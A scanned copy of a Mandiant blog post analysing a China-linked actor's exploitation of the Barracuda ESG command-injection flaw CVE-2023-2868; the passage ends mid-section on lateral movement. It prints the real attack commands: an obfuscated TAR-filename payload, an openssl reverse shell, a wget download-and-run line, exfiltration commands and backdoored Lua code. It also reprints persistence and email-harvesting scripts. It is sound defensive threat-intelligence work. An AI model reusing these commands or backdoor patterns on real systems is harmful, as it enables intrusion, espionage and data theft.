www.mandiant.com Open in urlscan Pro
162.159.240.125  Public Scan

URL: https://www.mandiant.com/resources/blog/barracuda-esg-exploited-globally
Submission: On June 19 via api from IN — Scanned from DE

Form analysis 2 forms found in the DOM

GET /search

<form action="/search" method="get">
  <div class="js-form-item form-item js-form-type-textfield form-item-search js-form-item-search"> <label class="visually-hidden" for="edit-search">Search</label> <input data-drupal-selector="edit-search" type="text" id="edit-search" name="search"
      value="" size="30" maxlength="128" class="form-text" placeholder="Search"></div>
  <div data-drupal-selector="edit-actions" class="form-actions js-form-wrapper form-wrapper" id="edit-actions"> <button data-drupal-selector="edit-submit-acquia-search" type="submit" id="edit-submit-acquia-search"
      class="button js-form-submit form-submit"> <span class="visually-hidden">Submit search form</span> <svg width="16" height="17" viewBox="0 0 16 17" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
        <path d="M7.22574 13.9446C10.6622 13.9446 13.4481 11.1588 13.4481 7.72232C13.4481 4.28583 10.6622 1.5 7.22574 1.5C3.78925 1.5 1.00342 4.28583 1.00342 7.72232C1.00342 11.1588 3.78925 13.9446 7.22574 13.9446Z" stroke="currentColor"
          stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
        <path d="M15.0001 15.4996L11.6167 12.1162" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
      </svg> </button></div>
</form>

GET /search

<form action="/search" method="get">
  <div class="js-form-item form-item js-form-type-textfield form-item-search js-form-item-search"> <label class="visually-hidden" for="edit-search">Search</label> <input data-drupal-selector="edit-search" type="text" id="edit-search" name="search"
      value="" size="30" maxlength="128" class="form-text" placeholder="Search"></div>
  <div data-drupal-selector="edit-actions" class="form-actions js-form-wrapper form-wrapper" id="edit-actions"> <button data-drupal-selector="edit-submit-acquia-search" type="submit" id="edit-submit-acquia-search"
      class="button js-form-submit form-submit"> <span class="visually-hidden">Submit search form</span> <svg width="16" height="17" viewBox="0 0 16 17" fill="none" xmlns="http://www.w3.org/2000/svg" aria-hidden="true">
        <path d="M7.22574 13.9446C10.6622 13.9446 13.4481 11.1588 13.4481 7.72232C13.4481 4.28583 10.6622 1.5 7.22574 1.5C3.78925 1.5 1.00342 4.28583 1.00342 7.72232C1.00342 11.1588 3.78925 13.9446 7.22574 13.9446Z" stroke="currentColor"
          stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
        <path d="M15.0001 15.4996L11.6167 12.1162" stroke="currentColor" stroke-width="2" stroke-linecap="round" stroke-linejoin="round"></path>
      </svg> </button></div>
</form>

Text Content

Skip to main content

Mandiant is now part of Google Cloud. Learn More.


 * Platform
 * Solutions
 * Intelligence
 * Services
 * Resources
 * Company


MANDIANT ADVANTAGE

Explore our multi-vendor XDR platform, delivering Mandiant products and
integrating with a range of leading security operations technology.

Explore the platformarrow_forward

Start with free account

 * Automated Defense
   
   Rapid event investigation and remediation
 * Attack Surface Management Free Subscription
   
   Map your external environment
 * Breach Analytics for Chronicle
   
   Know what we know when we know it
 * Security Validation
   
   Validate controls are working properly
 * Threat Intelligence Free Subscription
   
   Access latest intel from the frontlines
 * Digital Threat Monitoring
   
   Visibility into deep, dark, and open web
 * Managed Defense
   
   Managed detection and response


MANDIANT SOLUTIONS

Solve your toughest cyber security challenges with combinations of products and
services.

 * Featured solutionsarrow_forward
 * By use casearrow_forward
 * By industryarrow_forward

 * Featured solutions
 * Proactive Exposure Management New!
   Reduce exposures before adversaries act
 * Government New!
   Protect national services and agencies
 * Digital Risk Protection
   Prioritize and focus on threats that matter
 * Ransomware
   Increase resilience against multifaceted extortion
 * Who is targeting us
   Embed cyber threat intelligence
 * How do attackers see us
   Assess attack surface visibility
 * Are we prepared
   Anticipate threats for defense posture
 * Are we compromised
   Evaluate current state of cyber defenses

 * Use Case
 * Ransomware
   Increase resilience against multifaceted extortion
 * Cyber Risk Management
   Advance your business approach to cyber security
 * Digital Risk Protection
   Prioritize and focus on threats that matter
 * Industrial Controls
   Strengthen OT and ICS security
 * Insider Threats
   Uncover and manage internal vulnerabilities
 * Skills Gap
   Close gaps with training and access to expertise

 * Private Industry
 * Finance New!
   Extend your security posture and operationalize resilience
 * Manufacturing New!
   Protect against cyber security threats to maintain business continuity
 * Government
 * Election Security
   Focus on Election Infrastructure Protection
 * Government New!
   Protect natural services and agencies


MANDIANT SERVICES

Mitigate threats, reduce risk, and get back to business with the help of leading
experts.

Learn morearrow_forward

View all services (47)arrow_forward

Schedule a consultation

 * Featured categories
 * Cyber Security Transformation
   
   Establish and activate cyber defenses
 * Incident Response
   
   Tackle breaches confidently
 * Strategic Readiness
   
   Increase resilience to risk
 * Technical Assurance
   
   Test your security program
 * Expertise On Demand
   
   Access to Mandiant Experts
 * Training
 * Browse courses
   
   Browse on-demand and live training
 * Mandiant Academy
   
   Train your teams to protect effectively


CYBER THREAT INTELLIGENCE

Mandiant specializes in cyber threat intelligence, offering products, services,
and more to support our mission to defend against cyber crime.

Intelligence resourcesarrow_forward
 * Products
 * Threat Intelligence Free Subscription
   
   Access latest intel from the frontlines
 * Digital Threat Monitoring
   
   visibility into deep, dark, and open web
 * Services
 * Intelligence capability development
   
   build a comprehensive threat intelligence program
 * Intelligence Training
   
   Develop practical application skills
 * Executive Briefings
   
   Get live, interactive briefings from the frontlines
 * Advanced Intelligence Access
   
   Hire a dedicated analyst for your needs


RESOURCE CENTER

Get the latest insights from cyber security experts at the frontlines of threat
intelligence and incident response

M-Trends 2023 reportarrow_forward

mWISEarrow_forward

View all resourcesarrow_forward

 * Resource types
 * Mandiant Blog
   
   Expert perspectives and industry news
 * Podcasts
   
   Interviews, hot topics, and more
 * Customer Stories
   
   Case studies and customer testimonials
 * Reports
   
   Research from the frontlines
 * Webinars
   
   Livestreams and pre-recorded speaker events
 * Insights
   
   Cyber security concepts, methods, and more
 * Events
   
   Upcoming conferences and collaboration
 * Infographics
   
   Visualization of security research and process
 * Datasheets
   
   Information on Mandiant offerings and more
 * eBooks
   
   High-impact cyber security guides
 * White Papers
   
   Cyber security insights and technical expertise


COMPANY

Learn more about us and our mission to help organizations defend against cyber
crime.

Learn morearrow_forward

Contact us

 * Careers
   
   Life at Mandiant and open roles
 * Noteholder and Preferred Shareholder Documents
 * Media Center
   
   Press releases and news mentions
 * Partners
   
   Ecosystem and resources
 * Elevate
   
   Empowering women in cyber security
 * Mandiant Gives Back
   
   Our commitment to a better future

 * Create a free account
 * Sign in to Advantage

en expand_more
 * English
 * Français
 * Deutsch
 * Italiano
 * 日本
 * 한국어
 * Español

Start for Free

Search
Submit search form
Search
Submit search form
 * Platform
   * Mandiant Advantage Overview
   * Automated Defense
   * Breach Analytics for Chronicle
   * Security Validation
   * Attack Surface Management
   * Threat Intelligence
   * Digital Threat Monitoring
   * Managed Defense
 * Solutions
   * Proactive Exposure Management
   * Government
   * Ransomware
   * Who is targeting us
   * How do attackers see us
   * Are we prepared
   * Are we compromised
   * Cyber Risk Management
   * Digital Risk Protection
   * OT/ICS Security
   * Insider Threats
   * Cyber Security Skills Gap
   * Finance
   * Manufacturing
   * Election Security
   * Government
 * Intelligence
   * Intelligence resources
   * Threat Intelligence
   * Digital Threat Monitoring
   * Intelligence Capability Development
   * Intelligence Training
   * Executive Briefings
   * Advanced Intelligence Access
 * Services
   * Services Overview
   * Incident Response
   * Strategic Readiness
   * Cyber Security Transformation
   * Technical Assurance
   * View all Services (48)
   * Mandiant Academy
   * Find a Course
   * Expertise On Demand
 * Resources
   * Resources
   * Mandiant Blogs
   * Customer Stories
   * Webinars
   * Events
   * Podcasts
   * Reports
   * Insights
   * Datasheets
   * Infographics
   * White Papers
   * eBooks
 * Company
   * About Mandiant
   * Careers
   * Media Center
   * Partners
   * Elevate
   * Mandiant Gives Back
   * Noteholder and Preferred Shareholder Documents
 * Mobile Footer Section
   * See what’s new at Mandiant
   * Get started
   * Incident Response Help
   * Contact Sales
   * Support
   * Sign In
   * Create a Free Mandiant Advantage Account


TOP

 * Incident Response
 * Contact sales
 * Support
 * Advantage Free Trial

 

 * Blog
 * Support
 * Contact us
 * report_problemIncident Response Assistance


BREADCRUMB

 1. Home
 2. Barracuda ESG Zero-Day Vulnerability (CVE-2023-2868) Exploited Globally by
    Aggressive and Skilled Actor, Suspected Links to China

Blog


BARRACUDA ESG ZERO-DAY VULNERABILITY (CVE-2023-2868) EXPLOITED GLOBALLY BY
AGGRESSIVE AND SKILLED ACTOR, SUSPECTED LINKS TO CHINA

Austin Larsen, John Palmisano, Mathew Potaczek, John Wolfram, Matthew McWhirt
Jun 15, 2023
30 min read
Consulting
Threat Intelligence
FLARE
Malware
Zero Day Threats
Vulnerabilities
China

On May 23, 2023, Barracuda announced that a zero-day vulnerability
(CVE-2023-2868) in the Barracuda Email Security Gateway (ESG) had been exploited
in-the-wild as early as October 2022 and that they engaged Mandiant to assist in
the investigation. Through the investigation, Mandiant identified a suspected
China-nexus actor, currently tracked as UNC4841, targeting a subset of Barracuda
ESG appliances to utilize as a vector for espionage, spanning a multitude of
regions and sectors. Mandiant assesses with high confidence that UNC4841 is an
espionage actor behind this wide-ranging campaign in support of the People’s
Republic of China.

Starting as early as October 10, 2022, UNC4841 sent emails (see Figure 2) to
victim organizations that contained malicious file attachments designed to
exploit CVE-2023-2868 to gain initial access to vulnerable Barracuda ESG
appliances. Over the course of their campaign, UNC4841 has primarily relied upon
three principal code families to establish and maintain a presence on an ESG
appliance, following the successful exploitation of CVE-2023-2868. These code
families—SALTWATER, SEASPY, and SEASIDE—were identified in the majority of
UNC4841 intrusions. As discussed in the Barracuda notice, all three code
families attempt to masquerade as legitimate Barracuda ESG modules or services,
a trend that UNC4841 has continued with the newly identified malware families
detailed for the first time in this blog post. 

Post initial compromise, Mandiant and Barracuda observed UNC4841 aggressively
target specific data of interest for exfiltration, and in some cases, leverage
access to an ESG appliance to conduct lateral movement into the victim network,
or to send mail to other victim appliances. Mandiant has also observed UNC4841
deploy additional tooling to maintain presence on ESG appliances.

On May 19, 2023, UNC4841’s actions were first discovered by the Barracuda team
and on May 21, 2023, Barracuda began releasing containment and remediation
patches with the goal of eradicating UNC4841 from impacted appliances. In
response to these efforts, UNC4841 quickly altered their malware and employed
additional persistence mechanisms in an attempt to maintain their access. 

Between May 22, 2023 and May 24, 2023, UNC4841 countered with high frequency
operations targeting a number of victims located in at least 16 different
countries. Overall, Mandiant identified that this campaign has impacted
organizations across the public and private sectors worldwide, with almost a
third being government agencies (see Figure 5). 

On June 6, 2023, Barracuda reiterated guidance recommending that all impacted
Barracuda customers immediately isolate and replace compromised appliances. In
addition, Mandiant recommends further investigation and hunting within impacted
networks, as the identified threat actor has demonstrated a commitment to
maintaining persistence for continued operations and has shown an ability to
move laterally from the ESG appliance. 

The sections that follow provide the technical details uncovered by Barracuda
and Mandiant over the course of the investigation to include initial
exploitation of the ESG appliance, the malware deployed, as well as UNC4841's
shift in tactics, techniques and procedures (TTPs) in response to Barracuda’s
remediation efforts. The post concludes with Mandiant's initial assessment on
attribution, and provides hardening, remediation and hunting recommendations for
organizations impacted.

Mandiant commends Barracuda for their decisive actions, transparency, and
information sharing following the exploitation of CVE-2023-2868 by UNC4841. The
response to the exploitation of this vulnerability by UNC4841 and subsequent
investigation necessitated collaboration between Mandiant, Barracuda, and
multiple government and intelligence partners. Mandiant was enabled by expertise
of Barracuda engineers who provided invaluable product specific knowledge as
well as telemetry data from the full fleet of ESG appliances. The data provided
by Barracuda enabled Mandiant to understand the full scope, investigate at
scale, as well as monitor subsequent attacker activity.

Figure 1: Intrusion timeline


CVE-2023-2868

CVE-2023-2868 is a remote command injection vulnerability present in the
Barracuda Email Security Gateway (appliance form factor only) versions
5.1.3.001-9.2.0.006 that exists when screening email attachments. 

The command injection vulnerability exists in the parsing logic for the
processing of TAR files. The following code within the product is the focal
point of the vulnerability:

qx{$tarexec -O -xf $tempdir/parts/$part '$f'};

It effectively amounts to unsanitized and unfiltered user-controlled input via
the $f variable being executed as a system command through Perl’s qx{} routine.
$f is a user-controlled variable that will contain the filenames of the archived
files within a TAR. Consequently, UNC4841 was able to format TAR files in a
particular manner to trigger a command injection attack that enabled them to
remotely execute system commands with the privileges of the Email Security
Gateway product.


INITIAL ACCESS

Starting as early as October 10, 2022, UNC4841 sent emails to victim
organizations that contained specially crafted TAR file attachments designed to
exploit CVE-2023-2868 to gain initial access to vulnerable Barracuda ESG
appliances. In initial emails, UNC4841 attached files with a ".tar" extension in
the filename, whereas in later emails they used different file extensions such
as ".jpg" or ".dat". Regardless of file extension, the observed attachments were
valid TAR files that exploited CVE-2023-2868.

Observed emails contained generic email subject and body content, usually with
poor grammar and in some cases still containing placeholder values. Mandiant
assesses UNC4841 likely crafted the body and subject of the message to appear as
generic spam in order to be flagged by spam filters or dissuade security
analysts from performing a full investigation. Mandiant has observed this tactic
utilized by advanced groups exploiting zero-day vulnerabilities in the past.

Some examples are shown in Figure 2.

Figure 2a: Email sent by UNC4841 with attachments that exploit
CVE-2023-2868Figure 2b: Email sent by UNC4841 with attachments that exploit
CVE-2023-2868Figure 2c: Email sent by UNC4841 with attachments that exploit
CVE-2023-2868

UNC4841 used several different methods to deliver their emails to targeted
appliances. In some cases, UNC4841 spoofed email “from” addresses that were for
non-existent domains. In other cases, Mandiant observed the actor use addresses
with domains that were likely not in use or that we suspect they did not
control.

Based on analysis of email headers, Mandiant identified the actor sending emails
from a Vultr VPS server (216.238.112[.]82). Mandiant also observed source IP
addresses with no notable characteristics or history. In one case, email headers
indicated that an email originated from an IP address allocated to China Telecom
(101.229.146[.]218). Additionally, Mandiant identified the use of a mail client
in the x-mailer header that was found to be low-prevalence and that we have
observed in use by another China-nexus espionage actor to send phishing emails. 

Mandiant also obtained exploit emails that indicated the actor had used email
addresses that belonged to an organization that was also found to have a
compromised Barracuda ESG appliance. Furthermore, UNC4841 was observed sending
emails from compromised appliances to exploit or interact with backdoored
modules on other compromised appliances. Although we do not have conclusive
evidence, execution artifacts on a subset of impacted appliances indicate that
UNC4841 is using a utility named “CSmtp” that we suspect is a command line
utility to send emails.

Note that at the time of writing, Mandiant has only reviewed a small subset of
exploit emails sent by UNC4841. As a result, these findings may not be
representative of all emails sent by the actor.


REVERSE SHELL

UNC4841’s TAR file attachments exploited CVE-2023-2868 in the Barracuda ESG to
execute a reverse shell payload on certain ESG appliances targeted by the actor.
The malicious TAR files recovered to date have all consisted of five archived
files, four of which appear to have no significance to the execution chain and
are not used in the exploit, and the first file in the archive containing the
exploit payload inside its filename. Since the vulnerability exists in the
parsing of this filename, the content of the archived files does not matter and
has consisted of random strings.

The exploit payload (filename) is enclosed in backticks (`) and single quotes
(‘) which triggers the command injection in the form of command substitution. An
example file contained within one of the recovered TAR archives is shown as
follows:

'`abcdefg=c2V0c2lkIHNoIC1jICJta2ZpZm8gL3RtcC9wO3NoIC1pIDwvdG1wL3AgMj4mMXxvc
GVuc3NsIHNfY2xpZW50IC1xdWlldCAtY29ubmVjdCAxMDcuMTQ4LjE0OS4xNTY6ODA4MC
A+L3RtcC9wIDI+L2Rldi9udWxsO3JtIC90bXAvcCI=;ee=ba;G=s;_ech_o $abcdefg_${ee}se64
-d_${G}h;wh66489.txt`'

Once deobfuscated, the payload contains the following format where the variable
$abcdefg is a base64 encoded string that is decoded and executed:

abcdefg=c2V0c2lkIH…;echo $abcdefg | base64 -d | sh

An example of the base64 payload to be executed is shown as follows:

setsid sh -c "mkfifo /tmp/p;sh -i </tmp/p 2>&1|openssl s_client -quiet -connect
107.148.149[.]156:8080 >/tmp/p 2>/dev/null;rm /tmp/p"

This series of shell commands achieves the following actions:

 * setsid
   * Runs a new session and detaches it from the terminal. This ensures that the
     following command keeps running even if the terminal ends up being closed.
 * mkfifo /tmp/p
   * Creates a named pipe at /tmp/p that will be used as the storage to
     facilitate transferring the commands from the server to be executed.
 * sh -i </tmp/p 2>&1
   * creates a new interactive (-i) shell and redirects its input from the named
     pipe that was just created. 2>&1 redirects the error output to the standard
     output.
 * openssl s_client -quiet -connect 107.148.149[.]156:8080 >/tmp/p 2>/dev/null
   * OpenSSL is used to create a client that connects to the specified IP
     address and port (in this case 107.148.149[.]156:8080). The -quiet option
     is used to suppress session and certificate information output. The
     standard output of this command is redirected to the named pipe, and error
     output is discarded (2>/dev/null).
 * rm /tmp/p
   * This cleans up the named pipe after the OpenSSL connection is closed by
     removing it.

Mandiant also observed the actor deploy a shell script post-compromise with a
similar reverse shell payload. Note that the path of the named pipe varies, but
is usually a single letter and/or number. For example /tmp/p, /tmp/p7, and
/tmp/t.

In some limited cases, Mandiant also observed UNC4841 execute commands to spawn
a bash shell using Python after they had gained access:

python -c import pty;pty.spawn("/bin/bash")


BACKDOOR PAYLOADS

After gaining access to appliances, UNC4841 executed wget commands to download
secondary backdoor payloads from open directories on their servers. In some
cases, UNC4841 downloaded individual malware files directly. In other cases,
Mandiant observed the actor download TAR files that contained backdoor payloads
along with shell scripts to install and persist them. An example of a wget
command to download, extract, and execute the SALTWATER secondary payload is
shown as follows:

sh -c wget --no-check-certificate
https://107.148.219[.]53:443/install_reuse/install_reuse.tar;tar -xvf
install_reuse.tar;chmod +x update_v35.sh;./update_v35.sh

This series of shell commands achieves the following actions:

 * wget --no-check-certificate
   https://107.148.219[.]53:443/install_reuse/install_reuse.tar
   * Downloads a tar archive while ignoring SSL/TLS certificate checks
 * tar -xvf install_reuse.tar
   * Extracts the tar archive
 * chmod +x update_v35.sh 
   * Enables execute permissions on the malware installer shell script
 * ./update_v35.sh
   * Executes the malware installer

Mandiant also observed UNC4841 attempt to use wget to download RAR and ZIP
payloads from URLs hosted at temp[.]sh, however, these were unsuccessful and
Mandiant was unable to obtain them for analysis.

Over the course of the investigation to date, Mandiant and Barracuda have
identified three (3) primary backdoors in use by UNC4841: SEASPY, SALTWATER and
SEASIDE.

SEASPY is the primary backdoor that has been deployed by UNC4841 throughout
their campaign. SEASPY is a passive backdoor that establishes itself as a PCAP
filter on ports TCP/25 (SMTP) and TCP/587 and is activated by a “magic packet”.
Mandiant’s analysis has identified code overlap between SEASPY and cd00r, a
publicly available backdoor. 

Early deployments of SEASPY, when unpacked, maintained symbols and were
installed under the file name:

 * BarracudaMailService

Following Barracuda’s patch, Mandiant observed UNC4841 update SEASPY to strip
symbols within the binary, pack the malware with UPX, and use authentication
when establishing a reverse shell to a command and control (C2) server. UNC4841
deployed this updated variant with the file names:

 * resize2fstab
 * resize_reisertab

Figure 3 depicts the SEASPY critical attack path.

Figure 3: SEASPY attack path

SALTWATER is a module for the Barracuda SMTP daemon (bsmtpd) that has backdoor
functionality.

SALTWATER can upload or download arbitrary files, execute commands, and has
proxy and tunneling capabilities. The backdoor is implemented using hooks on the
send, recv, close syscalls via the 3rd party kubo/funchook hooking library, and
amounts to five components, most of which are referred to as "Channels" within
the binary. In addition to providing backdoor and proxying capabilities, these
components exhibit classic backdoor functionality. The five channels are:

 * DownloadChannel
 * UploadChannel
 * ProxyChannel
 * ShellChannel
 * TunnelArgs

When deploying SALTWATER, UNC4841 has repeatedly utilized time-stomping to
further hide their malicious activity. UNC4841 has also been observed leveraging
time-stomping when deploying SEASIDE.

Additionally, between May 21, 2023 and May 22, 2023, shortly following
Barracuda’s initial remediation script deployment, UNC4841 quickly made
modifications to both SEASPY and SALTWATER related components in order to
prevent effective patching. Between May 22, 2023 and May 24, 2023, UNC4841
conducted high frequency operations on a number of victims located in at least
16 different countries; modifying 7 components of SEASPY and at least 2
components of SALTWATER.

SEASIDE is a Lua-based module for the Barracuda SMTP daemon (bsmtpd) that
monitors SMTP HELO/EHLO commands to receive an encoded C2 IP address and port
that it decodes and passes as arguments to an external binary (WHIRLPOOL) that
establishes a reverse shell.

SANDBAR is a rootkit in the form of a trojanized network file system kernel
module for linux (nfsd_stub.ko) that contains hooks to hide processes that begin
with a specified name. SANDBAR hides the process ID from being displayed when
the /proc filesystem is queried. SANDBAR hooks the "iterate_shared" routine of
the "file_operations" structure for the /proc filesystem and the subsequent
"filldir" callback to hide the process. It appears to be adapted from publicly
available rootkit code.

The SANDBAR sample Mandiant analyzed was configured to hide processes starting
with the name “Bar”, it is likely this was designed to hide SEASPY malware which
was deployed with the name "BarracudaMailService". Network defenders should be
aware that command output or log sources for process listings may be missing
processes for malware deployed by UNC4841 if the ESG has been infected with
SANDBAR and is hiding processes in this manner.  


TROJANIZED LUA MODULES

In addition to installing backdoors, UNC4841 trojanized several legitimate
Barracuda LUA modules by inserting additional callback logic to be executed when
certain email related events are received by the appliance. A total of three (3)
trojanized modules were identified across victim sets that we track with two
different malware families: SEASPRAY and SKIPJACK.

SEASPRAY is a launcher written in Lua that is a trojanized Barracuda email
security gateway module. SEASPRAY registers an event handler for incoming email
attachments. If an attachment has a filename that contains a special value,
SEASPRAY copies the file into /tmp directory and executes an external binary
(WHIRLPOOL) that establishes a reverse shell with the full path as a parameter.
The core modification to the Lua module that identifies SEASPRAY is contained in
the following snippet:

if string.find(attachment:filename(),'<REDACTED>') ~= nil then

        os.execute('cp '..tostring(tmpfile)..' /tmp/'..attachment:filename())

        os.execute('rverify'..' /tmp/'..attachment:filename())

end

Mandiant also discovered a variant of SEASPRAY code that was inserted into a
module that is responsible for implementing sender block/accept functionality:

if string.find(sender,"<REDACTED>") ~= nil then

        os.execute('saslautchd'..' '..sender)

end

WHIRLPOOL is a C based utility used to create a TLS reverse shell. WHIRLPOOL
uses either a single CLI argument that is a given file path, or two arguments
that are a given IP and Port. Mandiant has observed WHIRLPOOL being used
alongside SEASPRAY and SEASIDE. Differing callback methods were used across
differing victim sets. This may have been done in part to reduce their chance of
being discovered or it may have been done to leverage existing scripts that were
already in place on the system as opposed to creating new files.

SKIPJACK is a passive backdoor written in Lua that is a trojanized version of a
Barracuda email security gateway module that processes emails. SKIPJACK
registers a listener for incoming email headers and subjects and decodes and
executes the content of the “Content-ID” header field. SKIPJACK consists of the
following code insertion to a listener that processes email headers (reformatted
for readability):

if hdr:name() == "Content-ID" then

        if hdr:body() ~= nil then

                if string.match(hdr:body(), "^[%w%+/=\r\n]+$") then

                        io.popen("echo " " .. hdr:body() .. "" | openssl
aes-256-cbc -d -A -a -nosalt -K <REDACTED> -iv <REDACTED> 2>/dev/null | base64
-d | sh 2>/dev/null"):close()

                End

        end

end

The value of the Content-ID” field is checked against the regex
"^[%w%+/=\r\n]+$" to ensure it is Base64 encoded. If these conditions are met,
SKIPJACK will AES decrypt the content using openssl, Base64 decode the decrypted
data, and execute it as a shell command. The openssl command sets the following
flags:

 * aes-256-cbc
   * Specifies the encryption algorithm to be used, in this case, Advanced
     Encryption Standard (AES) with a 256-bit key in Cipher Block Chaining (CBC)
     mode.
 * -d
   * Indicates that the command will perform decryption. The data provided will
     be decrypted using the specified algorithm and key.
 * -A
   * Decodes the input from Base64 encoding before performing the decryption.
     The input data is expected to be in Base64 format.
 * -a
   * Encodes the output in Base64 format after performing the decryption. The
     decrypted data will be presented in Base64 encoding.
 * -nosalt
   * Disables the use of a salt value. A salt is commonly used in encryption to
     add randomness and increase security.
 * -K <REDACTED>
   * Specifies the encryption key to be used. In this case, the key is provided
     as a hexadecimal value "<REDACTED>". The key should have a length
     appropriate for the chosen encryption algorithm.
 * -iv <REDACTED>
   * Specifies the initialization vector (IV) to be used.

In summary, the OpenSSL command decrypts input data using AES-256 in CBC mode
with a specific key and initialization vector. The input is assumed to be
Base64-encoded, and the output will also be Base64-encoded. The command does not
use a salt value.


COMMAND AND CONTROL INFRASTRUCTURE

Infrastructure used by UNC4841 was observed hosting default, self-signed SSL
temporary certificates that are shipped on ESG appliances for setup purposes. It
is likely that this was an attempt by UNC4841 to masquerade their reverse shell
traffic as legitimate communications being performed to Barracuda
infrastructure. 

SHA-256: 6d1d7fe5be6f1db2d7aa2af2b53ef40c2ac06954d983bb40590944c4d00b6e57
SHA-1: 51f7900806f0783f09d45d5017a89322afeb3fc3
MD5: be5b6b52780d35f1392f45d96beb868c

Subject DN: C=US, ST=California, L=Campbell, O=Barracuda Networks,
OU=Engineering, CN=Barracuda/emailAddress=sales@barracuda.com
Issuer DN: C=US, ST=California, L=Campbell, O=Barracuda Networks,
OU=Engineering, CN=Barracuda/emailAddress=sales@barracuda.com
Serial Number: 0x2
Validity Period: 2011-09-29 to 2031-09-24

Mandiant observed UNC4841 exfiltrate customer uploaded SSL certificates from
compromised Barracuda appliances, shown as follows:

sh -c openssl s_client -quiet -connect 107.148.219[.]55:443 <
/home/product/code/config/ssl_signed_cert.pem 2>&1

In some cases Mandiant observed what appeared to be legitimate victim
certificates hosted on UNC4841’s infrastructure. It is likely that the actor had
extracted these from appliances where victims had configured their own SSL
certificates, which would have been located at the same path. 

There were also cases where the actor had simply used a self-signed certificate
generated with default values, such as the certificate shown as follows:

SHA-256: 6b60c1c833979494caff32bf02391793ac85f533516367f12a1cea857bbacba7
SHA-1: 0ea7adb0b54d8bada0a8dc41ef4a9b255691d1ba
MD5: 683acdb559bbc7fb64431d1f579a8104

Subject DN: C=XX, L=Default City, O=Default Company Ltd
Issuer DN: C=XX, L=Default City, O=Default Company Ltd
Serial Number: 0xf3616b5e0e362361
Validity Period: 2022-11-30 to 2023-11-30

In multiple cases, UNC4841 used domains rather than IP addresses to establish
their reverse shell communications from compromised Barracuda appliances.
Through infrastructure analysis, Mandiant identified several points of overlap
with infrastructure attributed to other suspected China-nexus espionage
operations. Mandiant suspects that this indicates a shared infrastructure
procurement support entity rather than the same group being behind both clusters
of activity. China-nexus cyber espionage operations often share tools and
infrastructure, hence this observation strengthens our assessment that UNC4841
is of a China-nexus. UNC4841 is believed to make use of parked domains that
resolve to command and control IP addresses for a short period of time. This
technique has been used by other suspected China-nexus espionage operations, but
is not unique to them.


PERSISTENCE METHODS

Over the course of the investigation, Mandiant has identified a number of ways
in which UNC4841 has attempted to maintain persistence on an impacted appliance.
The first attempt at maintaining persistence was through the execution of their
initial reverse shell via hourly and daily cron jobs. These cron jobs were
located at the following paths:

 * /etc/cron.hourly/core.sh
 * /etc/cron.hourly/aacore.sh
 * /etc/cron.hourly/appcheck.sh
 * /etc/cron.daily/core.sh
 * /etc/cron.daily/core_check.sh

UNC4841 persistently executed SEASPY on appliance reboot through the following
addition to/etc/init.d/rc:

 * <PATH_TOSEASPY> eth0

The following script was leveraged to install the persistence in /etc/init.d/rc:

echo -e '/sbin/BarracudaMailService eth0' >> /etc/init.d/rc

cat /etc/init.d/rc

touch /etc/init.d/rc -r /etc/init.d/reboot

chmod +x /sbin/BarracudaMailService

setsid sh -c "/sbin/BarracudaMailService eth0" &

echo "set the bvp ok"

rm intentbas

...

In later iterations, UNC4841 maintained persistent execution of SEASPY by
inserting the following command into the update_version Perl script executed by
the appliance:

 * system("<PATH_TO_SEASPY> eth0")

Despite the naming of this script, it is not a component in the normal
application of Barracuda ESG firmware updates or patches.  

UNC4841 also deployed the SANDBAR kernel rootkit at the following location so it
would be executed on startup:

 * /lib/modules/4.9.17-barracuda0/kernel/net/sunrpc/nfsd_stub.ko


EXFILTRATION

Evidence of data staging and exfiltration of email related data by UNC4841 was
observed in a subset of impacted ESG appliances. In the majority of cases,
UNC4841 staged the data in .tar.gz files in the /mail/tmp/ directory and
utilized a consistent file naming convention containing 3 letters corresponding
to the victim organization followed by a number such as 001.

Once staged, UNC4841 leveraged openssl to exfiltrate the .tar.gz file to
attacker controlled infrastructure. An example of a command leveraged for
exfiltration of the staged data can be seen as follows:

sh -c openssl s_client -quiet -connect 137.175.51[.]147:443 <
/mail/tmp/<REDACTED>.tar.gz 2>&1

In addition, on a limited number of Email Security Gateway (ESG) appliances,
Mandiant recovered shell scripts utilized by UNC4841 that conducted searches of
the “mstore” for emails matching specific users or email domains and then staged
the results for exfiltration. The “mstore” is the location in which email
messages are temporarily stored on the appliance. This activity differs from
other email collection activities by UNC4841 as it represents targeted
collection of email data based on specific individuals or organizations. The
targets identified at the account level included well known academics in Taiwan
and Hong Kong as well as Asian and European government officials in Southeast
Asia.

The following script, 1.sh, was leveraged to search the “mstore” and stage user
email for exfiltration:

path="/mail/mstore/"

includeContentKeyword="<REDACTED>@\|<REDACTED>@\|@<REDACTED>\|<REDACTED>@\|<REDACTED>@\|<REDACTED>@\|<REDACTED>@\|"

excludeFileNameKeyword="*.log"

find ${path} -type f ! -name $excludeFileNameKeyword | while read line ;

do

result=`head -20 ${line} | grep $includeContentKeyword`

if [ -n "$result" ]

then

echo ${line} >> tmplist

fi

done

tar -T /mail/mstore/tmplist -czvf /mail/mstore/tmp.tar.gz

The following script, start.sh, was another script leveraged by the actor: 

#!/bin/bash

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {}
/usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {}
/usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {}
/usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {}
/usr/share/.uc/<REDACTED>

 

        mkdir /usr/share/.uc/<REDACTED>

        grep -lrn '<REDACTED>@' /mail/mstore | xargs -i cp {}
/usr/share/.uc/<REDACTED>

In a limited number of cases, Mandiant observed UNC4841 utilize the anonfiles
file sharing service as a means of exfiltration.


LATERAL MOVEMENT

UNC4841 was observed conducting reconnaissance activity in a small number of
cases. In these cases, the actor utilized open-source tools such as fscan to the
ESG for host detection, port scanning, web fingerprint identification, web
vulnerability scanning, domain control identification, and other functions. The
following figure shows an example output from the fscan tool. In one
environment, the actor scanned over 50 subnets over the course of nine days with
approximately 80% of these being completed in one day.

